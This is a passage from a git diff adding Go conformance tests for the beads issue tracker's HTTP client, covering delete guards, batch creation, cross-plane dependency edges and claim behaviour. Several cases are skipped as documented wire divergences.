NOTHING — not even the id beside it that did resolve. Asserting the +// absence of the typed error is what makes the row retire the day the wire +// grows an ids extension member. +func TestServedDeleteRefusesAnAbsentIDWithoutNamingIt(t *testing.T) { + env := newServedEnv(t, "hxnf") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + const stored = "hxnf-real" + seedServedIssue(t, ctx, env, stored, types.StatusOpen) + + for _, dryRun := range []bool{false, true} { + result, err := deleter.Delete(ctx, issueops.DeleteRequest{ + IDs: []string{stored, "hxnf-nosuchrow"}, Force: true, DryRun: dryRun, + }) + if !errors.Is(err, issueops.ErrNotFound) { + t.Fatalf("Delete(dryRun=%v) error = %v, want ErrNotFound", dryRun, err) + } + var notFound *issueops.NotFoundError + if errors.As(err, ¬Found) { + t.Errorf("the refusal carries *NotFoundError(%v); L-delete-notfound says the wire cannot express it — retire the row rather than the assertion", notFound.IDs) + } + if result.Deleted != 0 { + t.Errorf("refused delete reported Deleted = %d, want 0", result.Deleted) + } + assertServedIssueRows(t, ctx, env, 1, stored) + } +} + +// TestServedDeleteDependentsGuardRefusesAsValidation is L-delete-dependents' +// pin, and it RUNS. The guard itself is untouched: the request fails and the +// graph is whole. +func TestServedDeleteDependentsGuardRefusesAsValidation(t *testing.T) { + env := newServedEnv(t, "hxdg") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + const blocker, dependent = "hxdg-blocker", "hxdg-dependent" + seedServedIssue(t, ctx, env, blocker, types.StatusOpen) + seedServedIssue(t, ctx, env, dependent, types.StatusOpen) + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: dependent, DependsOnID: blocker, Type: types.DepBlocks, + }, "seed"); err != nil { + t.Fatalf("seed the edge: %v", err) + } + + result, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker}}) + if err == nil { + t.Fatal("an unforced delete over an outside dependent succeeded; the guard is the role's and must survive the crossing") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal = %v, want ErrValidation — the wire spells this as a 400 invalid_argument", err) + } + if errors.Is(err, issueops.ErrDependentsOutsideRequest) { + t.Error("the refusal carries ErrDependentsOutsideRequest; L-delete-dependents says the wire cannot express it — retire the row rather than the assertion") + } + if result.Deleted != 0 { + t.Errorf("refused delete reported Deleted = %d, want 0", result.Deleted) + } + assertServedIssueRows(t, ctx, env, 1, blocker, dependent) + + // The EXCEPTION beside the guard, which the wire carries whole: a dependent + // INSIDE the request is not a dependent for this purpose. Refusing it would + // make `delete a b` fail on exactly the pair a caller took care to list + // together, and it is the one arm a body that partitioned the request by + // plane could still get wrong. + both, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker, dependent}}) + if err != nil { + t.Fatalf("Delete() naming both ends of the edge: %v — a dependent INSIDE the request is not a dependent", err) + } + if both.Deleted != 2 { + t.Errorf("Deleted = %d, want 2", both.Deleted) + } + assertServedIssueRows(t, ctx, env, 0, blocker, dependent) +} + +// TestServedDeleteGuardsAWispNamedWithADurableDependent and its sibling below +// are the two CROSS-PLANE quadrants of the dependents guard, over the wire. +// +// They exist because the contract cases that cover them park on the typed +// error, and parking all four quadrants on one durable-to-durable assertion +// would leave exactly the hole deleter_contract.go says it was written to +// close: a body that asked the guard about the durable half of the request only +// "orphaned a durable dependent without saying so and without being refused". +// The guard is the SERVER's here, but a client that partitioned a mixed request +// by plane would reintroduce it below the wire, and nothing else would see it. +// +// Both halves of the clause are asserted, because a body can get either one +// right on its own: the unforced refusal leaves both rows AND the edge, and the +// forced run deletes exactly the named row and NAMES the cross-plane orphan. +func TestServedDeleteGuardsAWispNamedWithADurableDependent(t *testing.T) { + env := newServedEnv(t, "hxwg") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + // The NAMED row is the wisp; its dependent is durable, so the edge lives in + // `dependencies` with the wisp as the target. + const wisp, dependent = "hxwg-wisp", "hxwg-dependent" + seedServedWisp(t, ctx, env, wisp) + seedServedIssue(t, ctx, env, dependent, types.StatusOpen) + seedServedEdge(t, ctx, env, dependent, wisp) + assertServedEdgeRows(t, ctx, env, "dependencies", 1, dependent, wisp) + + for _, dryRun := range []bool{false, true} { + result, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{wisp}, DryRun: dryRun}) + assertServedDependentsRefusal(t, err, dryRun) + if result.Deleted != 0 { + t.Errorf("refused delete (dryRun=%v) reported Deleted = %d, want 0", dryRun, result.Deleted) + } + assertServedWispRows(t, ctx, env, 1, wisp) + assertServedIssueRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "dependencies", 1, dependent, wisp) + } + + forced, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{wisp}, Force: true}) + if err != nil { + t.Fatalf("forced delete of the wisp: %v", err) + } + if forced.Deleted != 1 { + t.Errorf("Deleted = %d, want 1 — force deletes the NAMED wisp and nothing else", forced.Deleted) + } + if !reflect.DeepEqual(forced.Orphaned, []string{dependent}) { + t.Errorf("Orphaned = %v, want [%s] — the cross-plane edge orphans a durable row too", forced.Orphaned, dependent) + } + assertServedWispRows(t, ctx, env, 0, wisp) + assertServedIssueRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "dependencies", 0, dependent, wisp) +} + +// TestServedDeleteGuardsADurableNamedWithAWispDependent is the fourth quadrant: +// the WISP is the dependent, so the edge lands in wisp_dependencies, and the +// durable row it depends on is the one named unforced. The two planes are +// scanned by different queries below the wire, so this is a genuinely separate +// answer from the case above. +func TestServedDeleteGuardsADurableNamedWithAWispDependent(t *testing.T) { + env := newServedEnv(t, "hxdw") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + const blocker, dependent = "hxdw-blocker", "hxdw-dependent" + seedServedIssue(t, ctx, env, blocker, types.StatusOpen) + seedServedWisp(t, ctx, env, dependent) + seedServedEdge(t, ctx, env, dependent, blocker) + assertServedEdgeRows(t, ctx, env, "wisp_dependencies", 1, dependent, blocker) + + for _, dryRun := range []bool{false, true} { + result, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker}, DryRun: dryRun}) + assertServedDependentsRefusal(t, err, dryRun) + if result.Deleted != 0 { + t.Errorf("refused delete (dryRun=%v) reported Deleted = %d, want 0", dryRun, result.Deleted) + } + assertServedIssueRows(t, ctx, env, 1, blocker) + assertServedWispRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "wisp_dependencies", 1, dependent, blocker) + } + + forced, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker}, Force: true}) + if err != nil { + t.Fatalf("forced delete of the durable row: %v", err) + } + if forced.Deleted != 1 { + t.Errorf("Deleted = %d, want 1 — force deletes the NAMED durable row and nothing else", forced.Deleted) + } + if !reflect.DeepEqual(forced.Orphaned, []string{dependent}) { + t.Errorf("Orphaned = %v, want [%s] — the orphan is a wisp, and it is still an orphan", forced.Orphaned, dependent) + } + assertServedIssueRows(t, ctx, env, 0, blocker) + assertServedWispRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "wisp_dependencies", 0, dependent, blocker) +} + +// assertServedDependentsRefusal is the coarse shape L-delete-dependents leaves: +// ErrValidation, and NOT the typed sentinel the local role raises. +func assertServedDependentsRefusal(t *testing.T, err error, dryRun bool) { + t.Helper() + if err == nil { + t.Fatalf("an unforced delete (dryRun=%v) over a cross-plane dependent succeeded; the guard has no wisp exemption at either end", dryRun) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal (dryRun=%v) = %v, want ErrValidation — the wire spells this as a 400 invalid_argument", dryRun, err) + } + if errors.Is(err, issueops.ErrDependentsOutsideRequest) { + t.Errorf("the refusal (dryRun=%v) carries ErrDependentsOutsideRequest; L-delete-dependents says the wire cannot express it — retire the row rather than the assertion", dryRun) + } +} + +// ── BatchCreator ──────────────────────────────────────────────────────────── + +func newServedBatchCreatorFixture(t *testing.T, prefix string) conformance.BatchCreatorFixture { + t.Helper() + env := newServedEnv(t, prefix) + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + return conformance.BatchCreatorFixture{ + IssuePrefix: env.prefix, + BatchCreator: creator, + CreateIssue: env.createIssue, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +// TestServedBatchCreateStampsEachItemsCreatedByFromTheActor is the served half +// of created_by on the batch: BatchCreateItem publishes no created_by, so the +// stored creator exists only because the server stamps it from the actor +// (internal/httpapi's batch_create.go). An item whose CreatedBy names that actor +// — the shape `bd create --file` sends — is carried by the stamp rather than +// refused, and an item that names none is stamped all the same. +func TestServedBatchCreateStampsEachItemsCreatedByFromTheActor(t *testing.T) { + env := newServedEnv(t, "hbcby") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + res, err := creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "file-writer", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "named", Priority: 2, IssueType: types.TypeTask, CreatedBy: "file-writer"}}, + {Issue: &issueops.Issue{Title: "unnamed", Priority: 2, IssueType: types.TypeTask}}, + }, + }) + if err != nil { + t.Fatalf("CreateBatch in bd create --file's shape = %v, want it served", err) + } + for i, issue := range res.Issues { + stored, err := env.getIssue(ctx, issue.ID) + if err != nil { + t.Fatalf("read back items[%d] %s: %v", i, issue.ID, err) + } + if stored.CreatedBy != "file-writer" { + t.Errorf("items[%d] stored created_by = %q, want the actor %q", i, stored.CreatedBy, "file-writer") + } + } +} + +func TestServedBatchCreatorCreatesEveryItemAsOneAct(t *testing.T) { + conformance.RunBatchCreatorCreatesEveryItemAsOneAct(t, t.Context(), newServedBatchCreatorFixture(t, "hb00")) +} + +func TestServedBatchCreatorRefusesEverythingWhenOneItemRefuses(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, parkBatchExplicitID) + conformance.RunBatchCreatorRefusesEverythingWhenOneItemRefuses(t, t.Context(), newServedBatchCreatorFixture(t, "hb01")) +} + +func TestServedBatchCreatorRejectsAnUnusableRequest(t *testing.T) { + conformance.RunBatchCreatorRejectsAnUnusableRequest(t, t.Context(), newServedBatchCreatorFixture(t, "hb02")) +} + +func TestServedBatchCreatorRefusesACrossPlaneInBatchEdge(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case seeds an item with Issue.Ephemeral, and the wire's item publishes no wisp member at all — "+ + "so the plane an item lands in is the server's to choose and a cross-plane in-batch edge cannot be asked for. "+parkBatchExplicitID) + conformance.RunBatchCreatorRefusesACrossPlaneInBatchEdge(t, t.Context(), newServedBatchCreatorFixture(t, "hb03")) +} + +func TestServedBatchCreatorLinksAnEarlierItemOfTheSameBatch(t *testing.T) { + skipKnownDivergence(t, "L-batchcreate-inbatch", bulkParkBead, + "an edge onto an earlier item of the same batch needs that item to have named an id for itself, and BatchCreateItem publishes no id member (asserted by TestBatchCreateCannotNameAnItemOfItsOwnBatch)") + conformance.RunBatchCreatorLinksAnEarlierItemOfTheSameBatch(t, t.Context(), newServedBatchCreatorFixture(t, "hb04")) +} + +func TestServedBatchCreatorRefusesAnAbsentEdgeTarget(t *testing.T) { + skipKnownDivergence(t, "L-batchcreate-target", bulkParkBead, + "the case binds ErrValidation WRAPPING ErrNotFound, and the wire answers a dangling target with a plain 400 invalid_argument (asserted by TestServedBatchCreateRefusesAnAbsentEdgeTargetAsValidation). "+parkBatchExplicitID) + conformance.RunBatchCreatorRefusesAnAbsentEdgeTarget(t, t.Context(), newServedBatchCreatorFixture(t, "hb05")) +} + +func TestServedBatchCreatorAcceptsAForeignEdgeTarget(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + parkBatchExplicitID+" The rule itself is asserted by TestServedBatchCreateAcceptsAForeignEdgeTarget, over server-generated ids.") + conformance.RunBatchCreatorAcceptsAForeignEdgeTarget(t, t.Context(), newServedBatchCreatorFixture(t, "hb06")) +} + +func TestServedBatchCreatorRecordsOneHistoryEntry(t *testing.T) { + skipKnownDivergence(t, "W-CreateBatchRequest.Provenance", bulkParkBead, + "half the case sends CreateBatchRequest.Provenance, which batchCreateIssues publishes no member for, so the client refuses it rather than letting the server's own label stand in silence. "+ + "The one-entry-per-batch half is asserted by TestServedBatchCreateRecordsOneHistoryEntry.") + conformance.RunBatchCreatorRecordsOneHistoryEntry(t, t.Context(), newServedBatchCreatorFixture(t, "hb07")) +} + +func TestServedBatchCreatorRecordsNoHistoryForAnEphemeralBatch(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case seeds Issue.Ephemeral on every item, and the wire's item publishes no wisp member. "+parkBatchExplicitID) + conformance.RunBatchCreatorRecordsNoHistoryForAnEphemeralBatch(t, t.Context(), newServedBatchCreatorFixture(t, "hb08")) +} + +// TestServedBatchCreatorEchoesSubSecondTimestamps is the batch half of the +// sub-second echo, parked on the item vocabulary like the eight above: its +// precision pin is a caller-supplied CreatedAt/UpdatedAt on every item, and +// apigen.BatchCreateItem carries no timestamp member. The client refuses +// items[0].Issue.CreatedAt before any request is sent, so there is no echo to +// measure — the case never reaches the wire, let alone the column. +func TestServedBatchCreatorEchoesSubSecondTimestamps(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case seeds Issue.CreatedAt/UpdatedAt on every item, and the wire's item publishes no timestamp "+ + "member — the client refuses items[0].Issue.CreatedAt before any request is sent, so the echo it "+ + "asserts has nothing to echo. "+parkBatchExplicitID) + conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, t.Context(), newServedBatchCreatorFixture(t, "hb12")) +} + +// The last TWO items of the wire's item vocabulary, both on the EPHEMERAL half +// of it and both parked for the reason the eight above are: apigen.BatchCreateItem +// carries eight content members and no id and no wisp flag, so an item cannot +// ask for the plane it lands on and cannot be referred to by a later item. +// +// The ephemeral plane's own batch behavior is therefore unreachable from this +// role over http rather than merely unasserted, and no bespoke case stands in +// for it: there is no server-generated-id spelling of "put this item in the +// wisps table". That is what makes these the two parks with nothing beside them. + +func TestServedBatchCreatorKeepsAnEphemeralItemsLabelsOffTheDurablePlane(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case's single item sets Issue.Ephemeral, and the wire's item publishes no wisp member at all — "+ + "so there is no request that puts a batch-created row on the ephemeral plane, and the labels this "+ + "case follows there have nowhere to land. "+parkBatchExplicitID) + conformance.RunBatchCreatorKeepsAnEphemeralItemsLabelsOffTheDurablePlane(t, t.Context(), newServedBatchCreatorFixture(t, "hb10")) +} + +func TestServedBatchCreatorLinksAnEarlierItemOnTheEphemeralPlane(t *testing.T) { + skipKnownDivergence(t, "L-batchcreate-inbatch", bulkParkBead, + "it is the in-batch edge of TestServedBatchCreatorLinksAnEarlierItemOfTheSameBatch on the ephemeral "+ + "plane, so it needs BOTH members the item vocabulary withholds: an id for the earlier item to be "+ + "named by, and a wisp flag for either item to land on that plane at all") + conformance.RunBatchCreatorLinksAnEarlierItemOnTheEphemeralPlane(t, t.Context(), newServedBatchCreatorFixture(t, "hb11")) +} + +func TestServedBatchCreatorDoesNotMutateTheCallerRequest(t *testing.T) { + skipKnownDivergence(t, "W-CreateBatchRequest.Provenance", bulkParkBead, + "the case sends CreateBatchRequest.Provenance, which the client refuses; the no-mutation promise it is really about — the assigned id lands on the RESULT and never on the caller's issue — is asserted by TestBatchCreateDoesNotWriteThroughTheCallersItems.") + conformance.RunBatchCreatorDoesNotMutateTheCallerRequest(t, t.Context(), newServedBatchCreatorFixture(t, "hb09")) +} + +const parkBatchExplicitID = "the case names its items' ids and passes ForceIDPrefix (the contract's own preamble says every case does), and neither is expressible: BatchCreateItem publishes no id member, so ids over http are the server's to assign." + +// TestServedBatchCreateAcceptsAForeignEdgeTarget is the foreign-target half of +// the edge clause, over SERVER-GENERATED ids — the shape an http workspace can +// actually ask for. +// +// Both spellings are asserted because they are one rule: a target this database +// was never going to hold is not a miss, whether it is an `external:` reference +// or an id belonging to another repository. +func TestServedBatchCreateAcceptsAForeignEdgeTarget(t *testing.T) { + env := newServedEnv(t, "hbext") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + const externalTarget, foreignTarget = "external:JIRA-4471", "otherrig-9910" + result, err := creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []issueops.BatchCreateItem{ + { + Issue: &issueops.Issue{Title: "depends on something outside beads", Priority: 2, IssueType: types.TypeTask}, + Dependencies: []issueops.CreateDependency{{TargetID: externalTarget, Type: types.DepBlocks}}, + }, + { + Issue: &issueops.Issue{Title: "depends on another rig", Priority: 2, IssueType: types.TypeTask}, + Dependencies: []issueops.CreateDependency{{TargetID: foreignTarget, Type: types.DepBlocks}}, + }, + }, + }) + if err != nil { + t.Fatalf("CreateBatch with foreign edge targets: %v", err) + } + if len(result.Issues) != 2 { + t.Fatalf("CreateBatch returned %d issues, want 2", len(result.Issues)) + } + // The target column depends on what the target IS, and neither of these is a + // stored row: an `external:` reference and a foreign-prefix id both land in + // depends_on_external, which is the whole point of the rule. + for i, target := range []string{externalTarget, foreignTarget} { + var edges int + if err := env.queryScalar(ctx, + `SELECT COUNT(*) FROM dependencies WHERE issue_id = ? + AND (depends_on_issue_id = ? OR depends_on_external = ?)`, + []any{result.Issues[i].ID, target, target}, &edges); err != nil { + t.Fatalf("count the edge onto %s: %v", target, err) + } + if edges != 1 { + t.Errorf("edges onto %s = %d, want 1", target, edges) + } + } +} + +// TestServedBatchCreateRefusesAnAbsentEdgeTargetAsValidation is +// L-batchcreate-target's pin, and it RUNS. +// +// The half that still holds is the half worth having: a target naming nothing +// takes the WHOLE batch down, so a client cannot end up with issues whose +// declared relationships are missing. Only the second sentinel is lost. +func TestServedBatchCreateRefusesAnAbsentEdgeTargetAsValidation(t *testing.T) { + env := newServedEnv(t, "hbmiss") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + _, err = creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "would land", Priority: 2, IssueType: types.TypeTask}}, + { + Issue: &issueops.Issue{Title: "names something absent", Priority: 2, IssueType: types.TypeTask}, + Dependencies: []issueops.CreateDependency{{TargetID: "hbmiss-absent", Type: types.DepBlocks}}, + }, + }, + }) + if err == nil { + t.Fatal("a batch whose edge target names nothing was accepted; a create that dropped an edge is data loss the caller cannot learn about") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal = %v, want ErrValidation", err) + } + if errors.Is(err, issueops.ErrNotFound) { + t.Error("the refusal wraps ErrNotFound; L-batchcreate-target says the wire cannot express it — retire the row rather than the assertion") + } + + // The sibling item is what an implementation that dropped the edge and kept + // the issues would leave behind. + var created int + if err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issues", nil, &created); err != nil { + t.Fatalf("count the issues: %v", err) + } + if created != 0 { + t.Errorf("the refused batch created %d issue(s); it is all or nothing", created) + } +} + +// TestServedBatchCreateRecordsOneHistoryEntry is the durable half of "at most +// one history entry", over a request with no Provenance — which is the only +// shape http can send. +func TestServedBatchCreateRecordsOneHistoryEntry(t *testing.T) { + env := newServedEnv(t, "hbhist") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + before, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history: %v", err) + } + if _, err := creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "one", Priority: 2, IssueType: types.TypeTask}}, + {Issue: &issueops.Issue{Title: "two", Priority: 2, IssueType: types.TypeTask}}, + {Issue: &issueops.Issue{Title: "three", Priority: 2, IssueType: types.TypeTask}}, + }, + }); err != nil { + t.Fatalf("CreateBatch(3 durable items): %v", err) + } + after, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history: %v", err) + } + if delta := after - before; delta != 1 { + t.Errorf("history entries += %d for a 3-item batch, want 1: the request is the transaction, so it records one entry", delta) + } +} + +// The raw-row hooks the delete cases need. They read through the REFERENCE +// store's own SQL handle, because whether a row is really gone is the one claim +// a delete result cannot be trusted to make about itself. + +func seedServedWisp(t *testing.T, ctx context.Context, env *servedEnv, id string) { + t.Helper() + issue := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createWisp(ctx, issue, "seed"); err != nil { + t.Fatalf("seed wisp %s: %v", id, err) + } +} + +// seedServedEdge makes dependent depend on blocker. The PLANE is the source's, +// resolved by the reference store itself, which is why a case can seed a +// cross-plane edge without naming a table. +func seedServedEdge(t *testing.T, ctx context.Context, env *servedEnv, dependent, blocker string) { + t.Helper() + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: dependent, DependsOnID: blocker, Type: types.DepBlocks, + }, "seed"); err != nil { + t.Fatalf("seed the edge %s -> %s: %v", dependent, blocker, err) + } +} + +func assertServedIssueRows(t *testing.T, ctx context.Context, env *servedEnv, want int, ids ...string) { + t.Helper() + assertServedPlaneRows(t, ctx, env, "issues", want, ids...) +} + +func assertServedWispRows(t *testing.T, ctx context.Context, env *servedEnv, want int, ids ...string) { + t.Helper() + assertServedPlaneRows(t, ctx, env, "wisps", want, ids...) +} + +//nolint:gosec // G201: table is chosen by the caller from the two plane tables. +func assertServedPlaneRows(t *testing.T, ctx context.Context, env *servedEnv, table string, want int, ids ...string) { + t.Helper() + for _, id := range ids { + var rows int + query := "SELECT COUNT(*) FROM " + table + " WHERE id = ?" + if err := env.queryScalar(ctx, query, []any{id}, &rows); err != nil { + t.Fatalf("count %s in %s: %v", id, table, err) + } + if rows != want { + t.Errorf("%s rows for %s = %d, want %d", table, id, rows, want) + } + } +} + +// assertServedEdgeRows counts one edge in the plane table its SOURCE lives in. +// The target column is COALESCEd across the three the schema publishes, so a +// cross-plane edge is counted whichever end of it is a wisp. +// +//nolint:gosec // G201: table is chosen by the caller from the two edge tables. +func assertServedEdgeRows(t *testing.T, ctx context.Context, env *servedEnv, table string, want int, dependent, blocker string) { + t.Helper() + var rows int + query := "SELECT COUNT(*) FROM " + table + " WHERE issue_id = ? AND " + + "COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?" + if err := env.queryScalar(ctx, query, []any{dependent, blocker}, &rows); err != nil { + t.Fatalf("count %s edges %s -> %s: %v", table, dependent, blocker, err) + } + if rows != want { + t.Errorf("%s rows %s -> %s = %d, want %d", table, dependent, blocker, rows, want) + } +} diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go new file mode 100644 index 000000000..79e2c8ded --- /dev/null +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -0,0 +1,1313 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_claim_lifecycle_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "reflect" + "slices" + "sort" + "strings" + "sync/atomic" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Claimer and Lifecycle contracts, run through client → in-process bd serve +// → reference store. +// +// PARKING. A case that binds a member the v0 wire does not publish is parked +// with skipKnownDivergence naming the refused shape, never by weakening the +// assertion: the case still runs and still passes on every backend that agrees, +// so their behavior stays pinned the day the divergence is found. Everything +// else runs for real. + +// skipKnownDivergence is declared untagged in divergence_test.go, and takes the +// ledger row alongside the bead: see its doc for why a park has two coordinates. + +// parkBead is the bead every WRITE-side park in this package cites: those +// refused shapes are one decision — the v0 write surface publishes no +// claimNext, no provenance, no plane restriction and no per-edge cycle-check +// flag — and splitting them across beads would suggest they retire +// independently. They do not: they retire when the wire grows the members, or +// not at all. +// +// The population SHRINKS as the wire grows, and twice now it has. The +// precondition members left it with client wave ga-jbuyf, which sent them; the +// two conditional-guard cases that were parked on `patch.assignee` left it with +// ga-7i6by, which carries the patch members. What is left is what the document +// still publishes nothing for. +// +// The read-side parks cite readParkBead instead (served_reader_test.go): they +// are a different decision with a different retirement, and one constant +// covering both would have said otherwise. +const parkBead = "ga-141ra" + +func newServedClaimerFixture(t *testing.T, prefix string) conformance.ClaimerFixture { + t.Helper() + env := newServedEnv(t, prefix) + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + return conformance.ClaimerFixture{ + IssuePrefix: env.prefix, + Claimer: claimer, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + // Read from the reference store, like every other hook here: raw rows + // and workspace config have no wire surface at all, and observing them + // through the client would be observing the thing under test. + SetConfig: env.setConfig, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +func TestServedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow(t *testing.T) { + conformance.RunClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow(t, t.Context(), newServedClaimerFixture(t, "hcl1")) +} + +func TestServedClaimerTakesAnOpenIssueTheActorAlreadyHolds(t *testing.T) { + conformance.RunClaimerTakesAnOpenIssueTheActorAlreadyHolds(t, t.Context(), newServedClaimerFixture(t, "hcl2")) +} + +func TestServedClaimerReclaimsItsOwnInProgressIssueWithoutWriting(t *testing.T) { + conformance.RunClaimerReclaimsItsOwnInProgressIssueWithoutWriting(t, t.Context(), newServedClaimerFixture(t, "hcl3")) +} + +func TestServedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne(t *testing.T) { + conformance.RunClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne(t, t.Context(), newServedClaimerFixture(t, "hcl4")) +} + +func TestServedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder(t *testing.T) { + conformance.RunClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder(t, t.Context(), newServedClaimerFixture(t, "hcl5")) +} + +func TestServedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt(t *testing.T) { + conformance.RunClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt(t, t.Context(), newServedClaimerFixture(t, "hcl6")) +} + +func TestServedClaimerRefusesAWispIDAsNotFound(t *testing.T) { + conformance.RunClaimerRefusesAWispIDAsNotFound(t, t.Context(), newServedClaimerFixture(t, "hcl7")) +} + +func TestServedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState(t *testing.T) { + conformance.RunClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState(t, t.Context(), newServedClaimerFixture(t, "hcl8")) +} + +// TestServedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone is the +// case with the most to say about this leg specifically, and it runs even though +// the lease vocabulary is on the unsupported allowlist — because the lease is +// not something the CLIENT writes. claimIssue's server-side transaction grants +// it, and the case reads the row back out of band, so what is asserted here is +// that a claim placed over HTTP leaves the same durable lease a local one does. +// A port that answered the row and skipped the grant would ship work no +// heartbeat can extend and no expiry sweep can take back. +func TestServedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone(t *testing.T) { + conformance.RunClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone(t, t.Context(), newServedClaimerFixture(t, "hcl9")) +} + +// TestServedClaimerReclaimsAcrossSpellingWithoutWriting drives the identity +// sanitization the server applies to the actor. The client sends the dotted +// spelling verbatim — it does not anticipate the rule, for the reason +// L-comment-author records about the author — so this pins that the ROLE behind +// the operation still recognizes the caller as the holder and writes nothing. +func TestServedClaimerReclaimsAcrossSpellingWithoutWriting(t *testing.T) { + conformance.RunClaimerReclaimsAcrossSpellingWithoutWriting(t, t.Context(), newServedClaimerFixture(t, "hcla")) +} + +func TestServedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween(t *testing.T) { + conformance.RunClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween(t, t.Context(), newServedClaimerFixture(t, "hclb")) +} + +// TestServedClaimRefusalMessagesCarryTheirFragments is PARKED, and it is the one +// park here that is not about a missing wire member. +// +// The fragments exist so beads.ParseClaimConflict can recover the conflicting +// assignee and status from PROSE. Over the wire that data arrives as typed +// extension members and the reconstructed *ClaimConflictError is whole, so the +// only way to satisfy the message half would be to compose the refusal copy +// client-side — including WHICH copy each refusal shape gets, since an open +// issue held by someone else deliberately omits the assignee tail while an +// in-progress one carries it. That is a second implementation of the producer's +// copy-selection rule, which is the drift the fragments were introduced to +// prevent. +// +// The divergence itself is not left to a skip: +// TestServedClaimConflictCarriesTypedMembersWithoutTheProse below RUNS and +// asserts both halves of it, so ledger row L-claim-prose retires loudly the day +// the wire or the client changes either one. +func TestServedClaimRefusalMessagesCarryTheirFragments(t *testing.T) { + skipKnownDivergence(t, "L-claim-prose", parkBead, + "the claim refusal's prose fragments are the server's; over the wire the conflict arrives as typed members and the client does not recompose the copy (asserted by TestServedClaimConflictCarriesTypedMembersWithoutTheProse)") + 